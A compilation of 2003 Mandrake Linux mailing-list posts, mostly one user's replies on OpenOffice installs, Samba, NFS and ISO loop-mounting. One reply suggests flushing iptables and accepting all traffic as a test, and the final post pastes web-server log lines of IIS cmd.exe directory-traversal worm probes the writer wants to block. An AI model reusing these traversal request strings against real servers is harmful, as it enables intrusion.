Re: [expert] Is there OpenOffice 1.1 RPM for mandrake 9.0?
> OpenOffice.org1.1.0 installs beautifully like this:- > > Untar it where you like > > then become root cd into /whereyouhaveit/install > > Then as root # ./install -prefix=/usr/lib > > Then go back to being user and $ cd /usr/lib/OpenOffice.org1.1.0 if that is > the directory that OO has created. > > then $ ./setup > > Follow the prompts. > > Works a treat. Well I just got mdk 9.2 and installed Openoffice.org1.1.0 as above and it would freeze on opening any openoffice file. Removed it and installed the rpm from the 9.2, some thing freezes. This happened to 9.1 as well, no version of OO would run after installing 1.1.0. The os was rather unstable after that as thing like mozilla would crash/freeze for no reason. Looks like its another reinstall... Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [expert] Cooker update with newer packages
On Thu, 2003-11-06 at 01:15, Franki wrote: > Greg Meyer wrote: > > On Wednesday 05 November 2003 02:54 am, Gary Hodder wrote: > > > >>>No. > >>>It's just that Cooker is now fully open again, and the development for > >>>MDK 10.0 is getting up to speed... > >>> > >>>We have been in a Deep Freeze since the 9.2 Freeze, with only updates > >>>for syncking with amd64 development branch... > >>>now it's done, so syncing a 9.2 install with Cooker is no longer > >>>really an option, unless you want to break your system from time to > >>>time... > >> > >>So does that mean wear about to see the public release of 9.2? > >> > > > > One has nothing to do with the other. > > > > > > Actually, if you look around, you can find copies of 9.2 online already.. > > I just downloaded the 3 CD's from an Australian server and the Md5's > match up with the release version (not RC2). > > so it is out there... > > A quick seach on google showed a couple of other sites with it as well. > > > rgds > > Franki > I just finished downloading the first cd from ausgamers, the iso was 667mb and the iso was full of rubbish. That was a days waisted download. Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [expert] Cooker update with newer packages
> > No. > It's just that Cooker is now fully open again, and the development for > MDK 10.0 is getting up to speed... > > We have been in a Deep Freeze since the 9.2 Freeze, with only updates > for syncking with amd64 development branch... > now it's done, so syncing a 9.2 install with Cooker is no longer > really an option, unless you want to break your system from time to time... > > > regards > > Thomas So does that mean wear about to see the public release of 9.2? Regards Gary. Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
[expert] Sofware for writing signs
Hi all, does anyone know of any sign writing software that runs under Linux? Maybe even a winblows one that runs under wine. Thanks Gary. Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [expert] Crompressed disk image or doublespare like for Linux
On Mon, 2003-10-13 at 13:45, Mark Williamson wrote: > Hi All, > > Just wondering if there is a hard drive, of better still, a directory > compression scheme, that can be mounted, something like the old dos > double space.. > I remember its nickname, double trouble. > I know there is cloop kernel module but is there anything else out > there. > > Cheers > Mark Williamson > > yes, its called a bigger hard drive ;) Gary. Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [expert] NFS install?
On Tue, 2003-10-21 at 04:03, Rob Blomquist wrote: > On Monday 20 October 2003 02:21, Joachim Holst wrote: > > Hi everyone! > > > > I wonder if it will be possible to install Mandrake 9.,2 on an NFS system. > > I do not mean FROM an NFS system. I want to install Mandrake on a Diskless > > machine! > > > > Sorry for repeating stuff, but I want to make it clear that I do not want > > to install the system from an NFS mount! > > I haven't done it, but I know others have. > > The Linux Documentation Project is the best place on the net for information > like this, www.tldp.org. Yours is at: http://tldp.org/HOWTO/NFS-Root.html > > Enjoy. You could also look at the Linux Terminal Server Project found at http://www.ltsp.org I have had 4 of these running ranging from pentium 120 with 32mb ram and up. 16mb of ram will work ok but 32 is better. My first was a dx2-66 with 8mb of ram, it worked but was a bit slow. The server will need plenty of ram, I had 512mb in the server and was using it as a client as well and it worked fine. Gary. Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [expert] ip addressing on lan
On Mon, 2003-10-20 at 16:56, Brett W Tippet wrote: > Cheers Gary .. > > Tried this ... unfortunatelly ... doesn't seem to alter the issues .. > > Thanks for the idea anyway. > > Brett. > > Have you tried linuxconf, I have used it in the past to setup 9.0 with 3 network cards and it worked fine. Gary. Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [expert] ip addressing on lan
On Mon, 2003-10-20 at 14:29, Brett W Tippet wrote: > Thanks to all who have replied to this issue so far .. > > Unfortunatelly, I'm still up the putt. > > Here's the output of my configs below. > > Someone suggested I may have a config issue with shorewall .. but I don't > have an /etc/shorewall .. so I assume this isn't going to be a cause. > > This all looks fine to me? ... > > To ensure it's not a cable issue, I have ran x-over cable direct to the box > and the NIC lights up and does all that stuff .. but I can't ping or telnet > to either machine .. help please! > > Brett. > Have you checked iptables hasn't been set to a default policy of drop. To flush the rules iptables -F to set all policies to accept iptables -P INPUT ACCEPT iptables -P FORWARD ACCEPT iptables -P OUTPUT ACCEPT This will leave the box wide open but should be ok for a quick test. Gary. Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [expert] How to check if the swap is on?
On Sat, 2003-10-18 at 18:42, Eduardo M. A. M. Mendes wrote: > Hello > > Although I can't remember the message on the beginning of boot process, I know > that it says something about swap not being turned on. Later in the boot > process, swap seems to be turned on but I want to be 100%. How can I check > if swap is on? How can I check how much of swap linux is using and how much > is left? > > Many thanks > > Ed > > Run top, it will tell you if swap is on and how much is being used. Gary. Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [expert] NFS Unmounting problem
On Sat, 2003-10-18 at 18:54, Kaveh Gh wrote:
> Dear All,
>
> Recently, I've installed mdk 9.0 on a system to act
> as a server. I've selected samba-server and
> samba-winbind, too. I've installed mdk for several
> times and in those cases just I've selected general
> options(not by selecting indivitual packets and
> tools). for exapmle, by selecting Network server, LSB,
> Development,... radio-boxs, not by clicking the "
> individual". Anyway, In indivitual election,
> samba-server, by defalut, is selected but
> samba-winbind not. The installaiotn is ok but the
> problem is:
>
> When I reboot or shut down my system, After killing
> and ending all daemons and servers, I always receive
> this error message:
>
> Unmounting NFS file system: Can not MOUNTPROG RPC:
> RPC: Program not registered.
> umount2: Device or resource busy...
> umount: /net: device is busy...
>
> And system is going to be HANGED!!! By pressing ^C,
> I've received this message:
>
> " There is no active interface or server in this run
> level.. to kill"
>
> I've taken a look in Control Center, I've seen that
> in Samba status field, and in import tab, there is an
> entry:
> NFS/net{As mount point} pid:178
>
> Anyway, I could not solve the problem. So, pleaser
> help me.
>
> Regards,
>
> =
>
> Kaveh Gh.
>
> Email : [EMAIL PROTECTED]
>
> [EMAIL PROTECTED]
>
>
Edit /etc/auto.master and comment out the /net and /misc lines.
/etc/rc.d/init.d/autofs restart
The next shutdown I think will hang but after that it should be ok.
There was a problem with automount in 9.0.
This is by memory but someone else will have a better fix.
Gary.
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Re: [expert] Missing kernel source from 9.2 isos...
On Sat, 2003-10-18 at 14:07, Carroll Grigsby wrote: > On Friday 17 October 2003 11:21 pm, Greg Meyer wrote: > > On Friday 17 October 2003 10:44 pm, James Sparenberg wrote: > > > On Fri, 2003-10-17 at 02:52, ef2 wrote: > > > > What about splitting the kernel into source and headers, for driver > > > > compilations ? > > > > Also, kernel2.4-marcelo could be dropped, there are also 4 kernel-doc > > > > packages, one (or even none) would be sufficient. And maybe > > > > kernel-secure, which is really for professional use ? > > > > > > > > Eric > > > > > > even if it was... it wouldn't yield sufficient room. Now if Emacs was > > > dropped or perhaps all of the kde eye candy etc.. To be honest. > > > What they have done fits perfectly in with the way they are positioning > > > themselves in the market. They are THE desktop distro. > > > > Remember all the flack they took for leaving kdeartwork out of 9.1. > > Someone's always bitching. > > Kinda reminds you of the old fairy tale, doesn't it? > Momma Bear: My porridge is too cold. > Poppa Bear: My porridge is too hot. > Baby Bear: All they do around here is bitch, bitch, bitch. > -- cmg Baby Bear would like a 4th cd with source and contrib as a optional extra. Ahh thats just right :) Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [expert] Upgrade from LAN?
On Sat, 2003-10-18 at 07:27, Lee Wiggers wrote: > On Fri, 17 Oct 2003 09:39:26 -0700 > Jack Coates <[EMAIL PROTECTED]> wrote: > > > On Fri, 2003-10-17 at 09:21, Lee Wiggers wrote: > > > Now that I have 5 boxes on 9.1 and 9.2 altogether, I have a > > > question. > > > > > > Can I somehow open the ISO's in a directory available to all > > > boxes on my network and upgrade from there? > > > > > > > > > Lee > > > > mount -t iso9660 -o loop myisoimage /mnt/point > > -- > > Jack Coates > > Monkeynoodle: A Scientific Venture... > > > > > > > > Thanks, Jack To make the 3 cd's available for ftp install without braking the iso's open and waisting room I did the following. The first cd loops fine but you carnt loop the 2nd cd's RPMS2 into the fist. To get around this I did. Mkdir /files/mdk-d1, /files/mdk-d2, /files/mdk-d3 Mkdir /files/mandrake91 copy root files of cd1 to mandrake91 ## Mount and link Mandrake 91 iso's to mandrake91 # mount /files/mandrake-91-iso/mandrake-91-disk1.iso -o loop /files/mdk91-d1 mount /files/mandrake-91-iso/mandrake-91-disk2.iso -o loop /files/mdk91-d2 mount /files/mandrake-91-iso/mandrake-91-disk3.iso -o loop /files/mdk91-d3 ln -s /files/mdk91-d1/doc/ /files/mandrake91/doc ln -s /files/mdk91-d1/dosutils/ /files/mandrake91/dosutils ln -s /files/mdk91-d1/images/ /files/mandrake91/images ln -s /files/mdk91-d1/isolinux/ /files/mandrake91/isolinux ln -s /files/mdk91-d1/misc/ /files/mandrake91/misc ln -s /files/mdk91-d1/tutorial/ /files/mandrake91/tutorial ln -s /files/mdk91-d1/Mandrake/base/ /files/mandrake91/Mandrake/base ln -s /files/mdk91-d1/Mandrake/mdkinst/ /files/mandrake91/Mandrake/mdkinst ln -s /files/mdk91-d1/Mandrake/share/ /files/mandrake91/Mandrake/share ln -s /files/mdk91-d1/Mandrake/RPMS/ /files/mandrake91/Mandrake/RPMS ln -s /files/mdk91-d2/Mandrake/RPMS2/ /files/mandrake91/Mandrake/RPMS2 ln -s /files/mdk91-d3/Mandrake/RPMS3/ /files/mandrake91/Mandrake/RPMS3 Add a user ftpdl passwd whatever At the bottom of proftpd.conf add DefaultRoot /files/mandrake91 ftpdl Restart proftpd. Now you can do a ftp install as user ftpdl and not worry about changing cd's. For multiple installs add more users to proftpd. Its a quiet saturday morning down under :) Gary. Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [expert] Is there OpenOffice 1.1 RPM for mandrake 9.0?
On Thu, 2003-10-16 at 20:44, Lee Wiggers wrote: > On 16 Oct 2003 19:28:42 +1000 > Gary Hodder <[EMAIL PROTECTED]> wrote: > > > On Thu, 2003-10-16 at 18:03, Lee Wiggers wrote: > > > On Thu, 16 Oct 2003 15:35:52 +0800 (CST) > > > Vincent Chen <[EMAIL PROTECTED]> wrote: > > > > > > > Hi, all > > > > > > > > Is there OpenOffice 1.1 RPM for mandrake 9.0 > > > > available? I prefer to upgrade using RPM. If RPM is > > > > not available, will it cause any problem if I use OO's > > > > installer? > > > > > > > > > > > > Thanks, > > > > > > > > > > > > > > > > - > > > > _C Yahoo! > > > > _C___B_B_R_A___A___b_H__ > > > > http://tw.promo.yahoo.com/mail_premium/stationery.html > > > > > > > > > > > I can only say that there is a 1.1rc4 somewhere. I got it on an > > > update two weeks ago. > > > > > > I also have installed oo from the oo installer with no problems, > > > but was on mdk 9.1 at the time. > > > > > > Lee > > > > I have 1.1rc3 installed on mdk 9.0 and 9.1 with no problems at all > > using the oo installer. > > Now off to get rc4... > > > > Gary. > > > > > > > > > rc5's out, which I think is the final. > > Lee I now have 1.1 final :) Gary. Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [expert] Is there OpenOffice 1.1 RPM for mandrake 9.0?
On Thu, 2003-10-16 at 18:03, Lee Wiggers wrote: > On Thu, 16 Oct 2003 15:35:52 +0800 (CST) > Vincent Chen <[EMAIL PROTECTED]> wrote: > > > Hi, all > > > > Is there OpenOffice 1.1 RPM for mandrake 9.0 > > available? I prefer to upgrade using RPM. If RPM is > > not available, will it cause any problem if I use OO's > > installer? > > > > > > Thanks, > > > > > > > > - > > _C Yahoo! > > _C___B_B_R_A___A___b_H__ > > http://tw.promo.yahoo.com/mail_premium/stationery.html > > > > > I can only say that there is a 1.1rc4 somewhere. I got it on an > update two weeks ago. > > I also have installed oo from the oo installer with no problems, but > was on mdk 9.1 at the time. > > Lee I have 1.1rc3 installed on mdk 9.0 and 9.1 with no problems at all using the oo installer. Now off to get rc4... Gary. Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [expert] refresh rate
On Tue, 2003-10-14 at 16:29, Tim Sawchuck wrote: > On Mon, 13 Oct 2003 21:24:29 -0700 > James Sparenberg <[EMAIL PROTECTED]> wrote: > > %< snip > > > > shows that both monitors are set at 85Hz, which ain't bad. So my crawly > > > dim lines are probably caused by interference since the monitors are > > > side by side. Maybe they need an AFDB :-) That would explain why there > > > > check out where your cell phone is sitting. I'm serious here. They > > really muck with monitors. > > That's the truth. I work in the wireless biz, and I know a call is coming > a few seconds before the phone rings if I keep the phone on the desk > below the monitor shelf! > > Tim You will know more about it if it gets into the hd data cable. I have heard digital mobile phone can and have got into and corrupted hard drives. Digital mobile phones should be banned from server rooms. Gary. Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [expert] XWC - Undelete?
Midnight commander (mc) will undelete but only for ext2 file system. Gary. On Wed, 2003-10-15 at 01:39, Jason Greenwood wrote: > Anyone know how to undelete in XWC? I accidentally deleted some files > I'd dearly like to have back =( > > Cheers All, > > Jason > > > > __ > > Want to buy your Pack or Services from MandrakeSoft? > Go to http://www.mandrakestore.com Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [expert] Samba Again !
On Tue, 2003-09-30 at 23:42, Richard Bown wrote: > Hi All, > its that dreaded samba time again, two questions > which parameter in smb.conf(file name may be wrong) > do I set to make sure the gateway machine all ways wins elections for > master browser,? > my laptop keeps trying to take control. > Unfortunately, its got winxp on it as its an old pent 2 266MHz, and it > cannot cope with MDK9.1, not enough memory and not fast enough :(( local master = yes # winblows nt type os's default to 32, use 33 or higher to win os level = 33 domain master = yes preferred master = yes # Never set both below or samba wont work # To make samba the wins controller and point all other machine at it wins support = yes # this machine to point to a wins controller #wins server = 192.168.0.1 Without a wins controller win95/98 will call elections every 12 or 15 minutes, very noisy on local network... Gary. > > 2.my printer is an Epson C82, nice on linux :)albeit a little slower. > > the printer on the laptop is set to //firewall/printer and that prints > without problems from both my laptop and from win4lin. > But, on the laptop if you click on the printer icon, you get the status > box with "Printer on firewall access denied, unable to connect" > Any ideas what to look for, or is this just a bit of daft winsoftware.. > > TIA > Richard > > > > > __ > > Want to buy your Pack or Services from MandrakeSoft? > Go to http://www.mandrakestore.com Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
[expert] Mdk 9.2 beta1 install
Hi all, while trying to install Mandrake 9.2 beta 1 I keep getting "this package carn't be intalled/uninstalled" when trying to remove some packages I don't want. I hope this is a installer oops and not the way Mandrake is going. Half way through installing so will see how the rest goes later. Regards Gary. Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [expert] downloader for x
I just updated to 2.03. Under options>general>download>save downloads to this folder. or Under Queue>properties>default folder to save downloads. or Edit config file under username/.ntrc/config savepath /path-to-dir Gary. On Mon, 7 Apr 2003 03:34:03 +0100, you wrote: >i've been searching and failed to find the answer to my query so i'm hoping a >user of the above prog can help me, i'm using ver, 2.03 of downloader for x >and whenever i download a file it's saved under a local copy of the tree it >isunder on the server it is held on, i want to save the file as >/downloaddirectory/filename and not >/downloaddirectory/complete/url/to/the/file > >anyone know the setting for this cos i've scoured the options and nothing >seems to apply > >bascule Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
[expert] Xchat in mdk9.1
Hi all, anyone know how to make cut and past work in xchat on mdk9.1? It would work in 9.0 but but not 9.1. Any ideas? Thanks Gary. Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [expert] re:samba
On Wed, 02 Apr 2003 18:39:44 +1000, you wrote: >On Wed, 2 Apr 2003 09:03:21 +0100, you wrote: > >>On Wednesday 02 Apr 2003 6:18 am, Gary Hodder wrote: >>> Hi Richard and others having trouble with samba. >> >>> Things to change in samba.conf over the default. >>>workgroup = homenet >>>hosts allow = 192.168.100. #change this to the class c you are on >>>os level = 34 #for samba to win election over nt/2000 workstations. >> >>Just be aware that sometimes it needs to be higher than 34 - mine is set to >>99. >> >>Anne > >Mine at home is set to 65 and is a domain controller, a bit of a overkill for >the kids one and only winblows box, the rest are Linux. >I think the browse setting for nt/2000 workstations is 33, unless i'me >mistaken that setting for the server, its been a while since a played with >that stuff. I used 65 as it was a max setting given in a samba doc so I don't >know what the upper limit is and if passing that would effect anything. > >Gary. > A bit more to add. If you don't have a domain controller or samba setup as one the winblows 9x machines will call a browse election every roughly 12 to 15 minutes to see who will be the browse master. This will cause a lot of netspewy noise on the network and in the logs. Winblows 9x browse default no. 1 I think samba defaults with everything off as 1 as well. On a side note I heard a couple of years back there was a nfs for winblows, anyone know of a gpl version of this getting around? This would be a good way to kill off netbios noise on the network. Gary. Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [expert] re:samba
On Wed, 2 Apr 2003 09:03:21 +0100, you wrote: >On Wednesday 02 Apr 2003 6:18 am, Gary Hodder wrote: >> Hi Richard and others having trouble with samba. > >> Things to change in samba.conf over the default. >>workgroup = homenet >>hosts allow = 192.168.100. #change this to the class c you are on >>os level = 34 #for samba to win election over nt/2000 workstations. > >Just be aware that sometimes it needs to be higher than 34 - mine is set to >99. > >Anne Mine at home is set to 65 and is a domain controller, a bit of a overkill for the kids one and only winblows box, the rest are Linux. I think the browse setting for nt/2000 workstations is 33, unless i'me mistaken that setting for the server, its been a while since a played with that stuff. I used 65 as it was a max setting given in a samba doc so I don't know what the upper limit is and if passing that would effect anything. Gary. Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [expert] re:samba
Hi Richard and others having trouble with samba. For a network of samba and windows but does not have a windows server/domain controller. example setup. Workgroup = homenet User = winuser Passswd = winpass Win98 user logs into windows with username winuser and passwd winpass. In control panel network, set identification/workgroup to homenet In configuration under tcp/ip of network card/wins configuration/ set to ip of samba server Give it a ip in the same class C and samba server. Things to change in samba.conf over the default. workgroup = homenet hosts allow = 192.168.100. #change this to the class c you are on os level = 34 #for samba to win election over nt/2000 workstations. domain master = yes preferred master = yes wins support = yes Add the user and passwd to samba/linux box cut below, save as etc/samba/smbpasswd # user :group change user to match windows user, change group to mach that user in /etc/group winuser:501:::[U ]:LCT-: winuser2:502:::[U ]:LCT-: cut- run smbpasswd winuser passwd winpass At this point the "X's" will change to a encrypted password. Add windows hostname and ip to /etc/hosts Edit /etc/nsswtched hosts line to hosts: files dns nisplus nis Restart samba. Restart windows to flush cache and try to connect again. This is from memory and most likely left something out. Gary. On 01 Apr 2003 21:31:05 +0100, you wrote: >Sorry Guys, this is getting a pain !!! >I have at last managed to get the windows machine to see the linux >machine, albeit its still very wrong. >If I use the find computers in the entire section of winblows network >neighbourhood, it will find it and show the shares if I use the ip >address of the linux machine, either the static address use on the >internal port or the dynamic ip address on the internet port. >The permissions are still wrong as it refused access to the printer, >even though it was shown. >The netbios name is not being picked up by the winblows machine. >I have changed the netbios name to something else as was suggested. > >Bill Gates must hold the record for causing more suffering than anyone >else ! > >Richard Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [expert] samba]
On Tue, 01 Apr 2003 10:25:26 +1200, you wrote: >ok, got the winpcs changed to the MDKGROUP. Without stuffing about >trying to get users to have access to their home directories, is there >an EASY way to allow anyone on the LAN to have access to the >/home/public directory for sharing files from there?? In the /etc/samba.conf file down near the bottom you will see a section like this, edit to you liking. # A publicly accessible directory, but read only, except for people in # the "staff" group [public] comment = Public Stuff path = /home//public # open to everyone public = yes # writable no, if you want all to write to it change to yes writable = no #if writable no, a list of users that can write. a @ is for a group and no @ is for users only. place a comma between users. write list = @staff Make sure permissions are set correctly on /home/public and restart samba. Gary. > >Cheers > >Jason Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [expert] upgrading
On 25 Mar 2003 15:34:55 -0800, you wrote: > >Wonder if it would if it were possible to rebuild the 9.1 urpmi >backwards to 8.1... but I don't think you can. However I did do a >sucessful CD based upgrade from 8.0 to 9.1 the other day.. The really >neat one was trying (just for fun) to go from RH 7.0 to MDK 9.0 it >worked sorta... Some package naming differences caught me out but it was >fun to try. > >James > What did you end up with, a red-drake :) Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [expert] Mdk 9.1 rc2 and radeon 7000
On 24 Mar 2003 22:48:04 +1100, you wrote: >At the moment I need a warranty replacement card. The card died when I >got home and turned the computer on. >So could be a while before I get to try those drivers. >RC1 is running ok on a old pci card, now to update it. Make that RC2, for mine the update is 847mb. It would be nice if the command line update had a estimated completion time. Now that I need a replacement card what is the best dual head card that doesn't cost a arm and a leg and work with Xfree4.3? Or would I be better going for 2 single head cards, if so what are the good choices? Thanks Gary. Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [expert] Mdk 9.1 rc2 and radeon 7000
At the moment I need a warranty replacement card. The card died when I got home and turned the computer on. So could be a while before I get to try those drivers. RC1 is running ok on a old pci card, now to update it. Thanks Gary. On Mon, 2003-03-24 at 22:30, Seppo Jarvinen wrote: > get GATOS Drivers for 4.3 and your problems should be solved. My Radeon > AIW (r100 chip) wouldn't even start XFree without those, it just > promptly crashed the whole computer (Booting it) > > url: http://gatos.sf.net/ > > You need the ati.2 driver atleast. Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
[expert] Mdk 9.1 rc2 and radeon 7000
Hi all, has anyone got the radeon 7000 video card to work with rc2 which uses Xfree 4.3? It works fine on mdk 9.0 Xfree 4.2 in single head. I Have got the dri drivers to try out tonight. Any gotcha's that I should know about? Thanks Gary. Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [expert] Problems after uipgrading via cooker
On 22 Mar 2003 21:20:16 -0800, you wrote: > For the impatient..(of which I am one) download the last rc iso... >then add a cooker mirror for updates do urpmi --update --auto >--auto-select and wait about 45 minutes. Then grab the kernel and do >rpm -ivh on the kernel and poof you are running 9.1... > >James >> Is there a way to auto get the required updated rpm's to save them locally. I want to update other machines and don't want each machine to download from the net. I could then copy those files to the rc2 directory and burn them as 9.1 final. Gary. Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [expert] Problems after uipgrading via cooker
On 22 Mar 2003 10:56:15 -0800, you wrote: >On Fri, 2003-03-21 at 15:09, Gary Hodder wrote: >> I am downloading 9.1 from cooker. >> I have about 1/3 the files from the rpms directory and thats 865mb. Why >> so many files in rpms, then theres rpms.cooker and rpms2. How big is >> 9.1? >> >> Thanks >> Gary. >3 x 650mb (the number of disks in the set.) or 1950mb > >James > There are over 2 gig in the rpms directory, then there's the rpms2 and rpms-cooker. I don't have the rpms2 or rpms-cooker but going to try a ftp install to another box to see if it works. If this don't work i'll wait for the 9.1 final and start again. Gary. Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [expert] Problems after uipgrading via cooker
I am downloading 9.1 from cooker. I have about 1/3 the files from the rpms directory and thats 865mb. Why so many files in rpms, then theres rpms.cooker and rpms2. How big is 9.1? Thanks Gary. On Sat, 2003-03-22 at 05:58, James Sparenberg wrote: > On Fri, 2003-03-21 at 09:12, Stephen Kitchener wrote: > > Ok thanks, > > > > I'll install 9.1 rc2 then > > > > In theory disks are do out ASAP for 9.1 final if you don't have them and > can wait through till Sunday it might be worth it. Note that rc2 is a > bit buggy... Not unusable.. just flaky.. over DSL after installing rc2 > the final update will take about 45 minutes to an hour. (based on what I > did for a friend yesterday.) Note... once you do the upgrade grab the > cooker kernel and sit back and smile because you will have 9.1 complete. > > James > > PS. (be sure and merge all rc files by searching for rpmnew files and > moving them/merging them correctly.) > > > > On Fri, 2003-03-21 at 16:53, Sascha Noyes wrote: > > > -BEGIN PGP SIGNED MESSAGE- > > > Hash: SHA1 > > > > > > On Friday 21 March 2003 11:43, Stephen Kitchener wrote: > > > > Hi, > > > > > > > > I know that I should expect problems in using cooker, but I wanted to > > > > look a quanta without it crashing, so I added a cooker url and did a > > > > urpmi quanta, it suggested that it wanted to update various packages, in > > > > them were some kde packakages and xfree packages. > > > > > > > > After the 'upgrade', all the apps that I started where very wide, and I > > > > mean VERY wide, even the menu entries from the K were wider than the > > > > screen. the login screen is also unusable for the same reason. > > > > > > > > I wonder if anyone has seen this before and knows how to get out of it > > > > ?, I did think of trying to do a complete update to cooker, but that was > > > > 1500MB, and over a DSL link thats going to take some time... > > > > > > > > The base installation is 9.0 btw. > > > > > > You can´t install cooker apps on 9.0 and expect it to work. You need the whole > > > cooker system. > > > > > > Best, > > > Sascha Noyes > > > - -- > > > Please encrypt all correspondence. > > > PGP key available from: > > > http://individual.utoronto.ca/noyes/snoyes.asc > > > - -- > > > -BEGIN PGP SIGNATURE- > > > Version: GnuPG v1.2.1 (GNU/Linux) > > > > > > iD8DBQE+e0N4gzJdfX+cTW8RAtTPAJkBfkaEZdM/0ZTIwBjkkqJMBDLGXACfVWaz > > > r3uCSvkQb16ud44KMp5qdKI= > > > =MlGH > > > -END PGP SIGNATURE- > > > > > > > > > > > > > > > > > > > > Want to buy your Pack or Services from MandrakeSoft? > > > Go to http://www.mandrakestore.com > > > > > Want to buy your Pack or Services from MandrakeSoft? > Go to http://www.mandrakestore.com Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [expert] KDE very slow in mdk9.1
Thanks to all who replied. It seems logical that it would sit there forever trying to do a lookup on a unknown lo interface. My sons away for the weekend and don't know his root passwd so wont know the outcome till sunday night. I'm looking forward to the results before upgrading my box. Thanks all, Gary. ps disregard any old mail of mine that might come through late as i've just moved my mail lists to my home domain in the last couple of days. There was no reverse lookup on my ip so mail was rejected. My isp has now happily pointed it at my domain, thanks Igreen. On 14 Mar 2003 15:05:31 -0800, you wrote: >OK Due to circumstances beyond my desire... I managed to duplicate >this last night... (for reasons beyond me all my comps are dying the >death of a thousand bytes in rapid succession) The problem was lo not >starting correctly... the solution... either > >a) restart network by hand after boot and make sure lo comes up. (I'm on >pcmcia btw so ntwork doesn't start at boot because it happens before >pcmcia gets loaded... don't ask I'm told this is correct.) > > >b) install a printer... seems that cups brings up lo correctly > >James > > Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [expert] KDE very slow in mdk9.1
It is the latest as of a couple of days. It boots up ok and is quick in text mode. When running kde it starts loading ok, brings up the kde box and goes through those items and then it disappears. All that is left is the blue screen, its just stops there, 20 mins later still only blue screen. (All that blue screen needs is Death written on it and it would remind me of winblows). Gnome dies at a similar stage as well. He's trying different video cards so we'll see how that goes. Looks like i've a lot more downloading to do. Thanks Gary. On 13 Mar 2003 15:07:15 -0800, you wrote: > >Gary If he's downloaded and run the last iso's for RC2 then yes KDE was >slow... do the needed updates from the latest in cooker (keep doing >through the weekend and you'll have 9.1 release!) and you should notice >a very large improvement. On my 500mhz box here I run Ice but if I try >to start Konq now it takes about 2 sec to start... so running in kde >should be even faster. > >James > >> >> >> >> __ >> >> Want to buy your Pack or Services from MandrakeSoft? >> Go to http://www.mandrakestore.com > Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
[expert] MS crud
Hi all, any way to stop getting over run with this crud. The start of each line has been removed to protect the guilty. Thanks Gary. xxx.xxx.com [ip-of-host] - - [09/Mar/2003:15:10:58 +1100] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 300 1100] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 298 1100] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 308 v1100] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 308 1100] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 322 1100]"GET/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 339 1100]"GET/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 339 1100]"GET/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 355 1100] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 321 1100] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 321 1100] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 321 1100] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 321 1100] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 305 1100] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 305 1100] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 322 1100] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 322 1100] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 300 1100] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 298 1100] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 308 1100] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 308 1100] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 322 